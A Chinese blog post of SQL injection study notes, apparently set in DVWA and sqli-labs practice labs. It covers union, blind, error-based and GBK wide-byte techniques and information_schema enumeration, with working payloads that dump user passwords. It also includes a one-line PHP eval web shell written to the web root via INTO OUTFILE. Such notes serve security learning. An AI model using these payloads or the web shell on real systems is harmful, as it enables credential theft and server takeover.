SQL 注入漏洞研究

SQL 注入漏洞研究

SQL 注入漏洞研究
    一、SQL注入的原理
        1.1 定义
        1.2 漏洞代码示例
        1.3利用SQL注入可以做什么(危害)
    二、SQL注入的分类
        2.1 按传递参数类型划分
        2.2 以回显的方式划分
    三、SQL注入的方法
        3.1 逐字猜解法
        3.2 联合查询法
        3.3 盲注
            3.3.1 MySQL盲注关键函数
            3.3.2 基于时间的盲注
            3.3.3 基于布尔型的盲注
        3.4报错注入
            3.4.1 duplicate entry '1' for key 'group_key'报错注入
                3.4.1.1 理解floor(rand(0)*2)函数
                3.4.1.2 理解group by [column_name]函数
                3.4.1.3 报错的原因分析
                3.4.1.4 基于此种类型报错信息常用注入语句
        3.5 宽字节注入(sqli-labs less-32)
            3.5.1 基本知识
            3.5.2 绕过转义字符,进行注入
        3.6 命令注入
            3.6.1
SQL基本知识补充
    一、SQL结构化查询语言
    二、数据库的常用注释符
    三、MySQL数据库基础
        3.1 MySQL内置的information_schema数据库结构
            3.1.1 schemata:存取数据库命的表
            3.1.2 tables:存数据库以及数据库中的表名
            3.1.3 columns:存取数据库、表、以及表中的字段
        3.2 MySQL注入常用函数和语句
            3.2.1 查询服务器主机信息
            3.2.2 查询数据库版本信息
            3.2.3 查询数据库用户信息
            3.2.4 枚举数据库内容
            3.2.5 联合查询语句
        3.3 concat,concatws,groupconcat函数
            3.3.1 concat()和concat_ws()
            3.3.2 group_concat()

 

一、SQL注入的原理

1.1 定义

当应用程序将用户输入的内容拼接到SQL语句中,一起提交给数据库的时候,就会产生SQL注入威胁。

1.2 漏洞代码示例

$id = $_GET['id'];//通过GET方式传递一个值

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>'.mysql_error().'</pre>');

$num = mysql_numrows($result);

1.3利用SQL注入可以做什么(危害)

(1)窃取数据库敏感的信息

-任意查询用户信息

-任意查询管理员账号和密码

(2)对数据进行恶意的增删改

(3)造成拒绝服务

-通过sleep,benchmark等函数时数据库阻塞不能正常工作

(4)文件系统操作:列目录,读取、写入文件(一句话木马)等等。

(5)获取服务器权限(执行系统命令)

-使用数据库内置的一些函数来执行系统命令

二、SQL注入的分类

2.1 按传递参数类型划分

(1)数字型

-例如:id=1 ,数字型注入不需要考虑单引号或者双引号闭合

(2)字符型

-例如:name='bob',字符型注入需要考虑单引号的闭合和注释问题。

2.2 以回显的方式划分

(1)回显注入

-回显正常:通过执行构造的SQL注入语句之后,页面与原页面存在差异,但是没有报错信息。

-回显报错:通过执行构造的SQL注入语句之后,页面报错并且将报错信息显示在页面上。

(2)盲注

-布尔型盲注:构造SQL语句之后,根据页面显示差异来判断。

-基于时间的盲注:构造SQL语句之后根据页面的响应时间来判断。

三、SQL注入的方法

3.1 逐字猜解法

//1.判断有没有注入点
and 1=1
或者
and 1=2

//2.
猜解表名(一般的表的名称无非就是admin,adminuser,user,pass,password等等)
and (Select count(*) from [table_name])< >0
或者
and exists (select * from [table_name]) //
判断一个东西是否存在

//3.
猜解列名
and (Select count([column_name]) from [table_name])< >0
或者
and exists(Select [column_name] from [table_name])

//4.
猜解内容记录数目(行数)
and select (count([columu_name]) from [table_name])< >0

//5.
判断内容长度
and (select top 1 len([columu_name]) from [table_name])< >0

//6.
截取字符串并转换为ASCII值进行比较,判断ASCII码值
and (select asc(mid([columu_name],1,1)) from [table_name])< >0

3.2 联合查询法

//1.判断是否存在注入点
and 1=1
and 1=2

//2.
猜解有多少列。
order by [numbers]

//3.
猜表名
union select 1,2,3,4... form [table_name]
如果页面不显示数字,也可以在union前增加 and 1=2 union ...

//4.
猜列名

union select 1,2,[columu_name 1],[columu_name 2],...
注意:列名位置要放置在页面上可以回显的位置

3.3 盲注

盲注的基本概念:

如果每个应用程序都能按照我们输入的SQL命令返回我们需要的数据,那应用程序就没有安全性了。为此,程序设计者们想到一个方法:就是无论输入何种命令,只要SQL语句导致数据库产生错误,那么应用程序就会返回一个"通用的页面",或者重定向一个通用的页面(例如:网站首页)。这时候,回显方式的SQL注入就没有办法使用了。

盲注:即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,需要使用一些特殊的方式进行判断或者尝试,这个过程称为"盲注"。

盲注分为两类:

(1)基于布尔型的盲注:

(2)基于时间的盲注:

3.3.1 MySQL盲注关键函数

(1)count([column_name]) 返回指定列的值的数目(NULL不计入)

 

(2)limit(m,n) m代表从m+1条记录开始检索,n代表取出n条数据。(m可以设为0)

 

(3)length() 返回文本字段中值的长度

 

(4)mid(),substr(),substring(),left()

说明:这四个都是字符串截取函数,其中前三个的用法是一致的。这里以mid()为例进行介绍。

mid(string,start,length) 每个参数的含义如下:

-string(必须)规定要返回其中一部分的字符串

-start(必须)规定开始位置,起始值为1

-length(可选)要返回的字符数。如果省略,则返回剩余的全部文本。

 

(5)ascii()

说明:此函数可以将字符转换为ASCII值。如果是字符串,则返回最左侧字符ASCII值,也就是字符串当中第一个字符的ASCII值。如果字符串为空字符串,则返回NULL;如果字符串为NULL,则返回0-255随机数。

 

3.3.2 基于时间的盲注

 

3.3.3 基于布尔型的盲注

3.4报错注入

3.4.1 duplicate entry '1' for key 'group_key'报错注入

select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;

说明:利用上边语句可以导致数据库进行报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,从而实现将注入结果与报错信息回显到前端页面。

3.4.1.1 理解floor(rand(0)*2)函数

-rand(0) 用于产生0(包含)-1(不包含)的随机数,如果没有参数,那么产生的随机数是随机的并且不可重复的。如果带了参数,例如:rand(2),相当于制定了随机数产生的种子,产生的随机数可重复。

 

 

-floor(rand(0)*2) 将随机数×2,然后取整

 

3.4.1.2 理解group by [column_name]函数

说明:这个函数就是根据"By"指定的规则对数据进行分组。

 

3.4.1.3 报错的原因分析

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1。

group by key执行时循环读取数据的每一行, 将结果保存于临时表中。读取每一行的 key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)。

如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

实际测试中发现,出现报错,至少要求数据记录为3行,记录数超过3行一定会报错,2行时是不报错的。

3.4.1.4 基于此种类型报错信息常用注入语句

(1)判断是否存在注入点

select count(*),floor(rand(0)*2)x from information_schema.schemata group by x;

(2)爆出当前数据库

select count(*),concat(database(),0x7e,floor(rand(0)*2))x from information_schema.schemata group by x;

(3)爆出表名

select count(*),concat((select concat(table_name) from information_schema.tables where table_schema = 'dvwa' limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.schemata group by x;

//
以下语句有问题,不能一次性显示出所有的表,等待解决。

select count(*),concat((select group_concat(0x7e,table_name) from information_schema.tables where table_schema = 'dvwa'),0x7e,floor(rand(0)*2))x from information_schema.schemata group by x;

(4)爆字段名

select count(*),concat((select concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.schemata group by x;

(5)爆内容

select count(*),concat((select concat(user,password) from dvwa.users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.schemata group by x;

3.5 宽字节注入(sqli-labs less-32)

3.5.1 基本知识

(1)字符集:(character set)

许多字符的集合,这些字符组成一套符号系统,可以组合起来形象的表达各种含义

字符: (character) 是组成字符集的基本单位。

编码:对字符赋予一个数值(encoding) 来确定这个字符在该字符集中的位置。

(2)常见字符集:

ASCII字符集(包含全部应为和标点符号)

GB2312字符集 (中文字符集-早)

BIG5字符集(台湾繁体字)

GB18030字符集(中国汉字编码国家标准全面)

Unicode字符集等(通用多八位编码字符集,支持各种不同语言的书面文本的交换、处理及显示)

(3)常见编码方式

ASCII、GB2312、ANSI、UTF-8、UNICODE

(4)中文编码

GBK:这是国家标准GB2312基础上扩容后兼容GB2312的标准。GBK的文字编码是用双字节来表示的,及不论中英文字符都使用双字节来表示,为了区分中文,将其最高位都设定成1。

UTF-8:Unicode Transformation Format-8bit。通用转换格式,是用以解决国际上字符的一种多字节编码,也就是解决ASCII表示的字符转换成UNICODE不高效的问题。它对英文使用8位(一个字节)、中文使用24位(三个字节)来编码。

编码建议:程序都使用Unicode编码,网站都是用UTF-8编码。

3.5.2 绕过转义字符,进行注入

第一种方法:MySQL GBK 编码吃掉反斜杠。

MySQL特性:MySQL 在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,GBK的汉字的范围)。

例如:

输入%df%27时,%27是',会被转移为',而\的编码为%5c, 最后就变成了%df %5c%27,由于%df(这里16进制) >128 (ASCII码值) ,MySQL就认为前两个编码是一个汉字:運,最后结果就编程了運,成功吃掉了转义的反斜杠\

实际上,只要编码值大于128,均可以实现吃掉\。例如%81,%82, %83等等。

第二种方法:构造payload,转义\,利用汉字'錦'

錦的UTF-8编码为: %E9%8C%A6

錦的GBK编码为: %e5%5c

实用:直接输入%E9%8C%A6%27或%e5%5c%27

原理: %e5 \ ' (即%e5%5c%27)>%e5%5c%5c%5c%27 >錦 \ \ ',这样反斜杠就被转义了。

 

3.6 命令注入

3.6.1

SQL基本知识补充

一、SQL结构化查询语言

二、数据库的常用注释符

数据库

注释符

描述

SQL Server、Oracle

--

用于单行注释

SQL Server、Oracle

/**/

用于多行注释

MySQL

--

用于单行注释,要求后边必须跟一个空格符

MySQL

#

用于单行注释

MySQL

/**/

用于多行注释

三、MySQL数据库基础

3.1 MySQL内置的information_schema数据库结构

MySQL 15内置的系统数据库information_scheme,其结构如Microsoft SQL Server中的master数据库,其中记录了MySQL中所有存在的数据库命、数据库表名、表字段,其中关键的三个表为:

schemata:存取数据库命的表

tables:存数据库以及数据库中的表名

columns:存取数据库、表、以及表中的字段

3.1.1 schemata:存取数据库命的表

mysql> select schema_name from information_schema.schemata;

 

3.1.2 tables:存数据库以及数据库中的表名

mysql> select table_name from information_schema.tables where table_schema = 'dvwa';

 

3.1.3 columns:存取数据库、表、以及表中的字段

mysql> select column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa';

 

3.2 MySQL注入常用函数和语句

3.2.1 查询服务器主机信息

(1)@@hostname 主机名称

(2)@@datadir 数据库路径

(3)@@versioncompileos 操作系统版本

 

3.2.2 查询数据库版本信息

(1)version() 数据库版本信息

(2)@@version 数据库版本信息

(3)@@global.version 数据库版本信息

(4)database() 数据库名称

 

3.2.3 查询数据库用户信息

(1)user() 系统用户和登陆主机名

(2)current_user() 当前登陆用户和登录用户主机名

(3)system_user() 数据库系统用户账户名称和登陆主机名

(4)session_user() 当前会话用户名和登陆主机名

 

3.2.4 枚举数据库内容

select schema_name from information_schema.schemata;//爆出数据库

select table_name from information_schema.tables where table_schema = 'dvwa';//
爆出指定数据库dvwa的所有表名

select column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa';//
爆出dvwa指定表users的所有字段名

select user,password from dvwa.users;//
爆出数据库users内容

select '<?php eval($_POST[cmd])?>' into outfile '/var/www/html/dvwa/1.php';//
牛逼的一句话木马,配合中国菜刀使用

3.2.5 联合查询语句

(1)order by n //判断当前查询结果的列数,配合union使用

(2)order by n+1 //让n一直增加,直到出现错误的页面

(3)union //联合查询 例如:union select

 

注意:使用union select 联合查询的时候,前后查询语句的回显列数要一致!

例如:下面就是错误的示范:

 

3.3 concat,concatws,groupconcat函数

说明:利用这三个函数,可以将注入的结果更好的回显到前端页面。

3.3.1 concat()和concat_ws()

(1)concat(str1,str2,...) 没有分隔符,串联多列结果

(2)concat_ws([分隔符号],str1,str2,...) 含有分隔符,串列多列结果

 

说明:0x7e 是符号'~'的16进制表示形式。

3.3.2 group_concat()

(1)group_concat() 串联多行结果为一行,每一行结果用逗号串联。

posted @ 2020-04-20 10:47  WindStream  阅读(512)  评论(0编辑  收藏  举报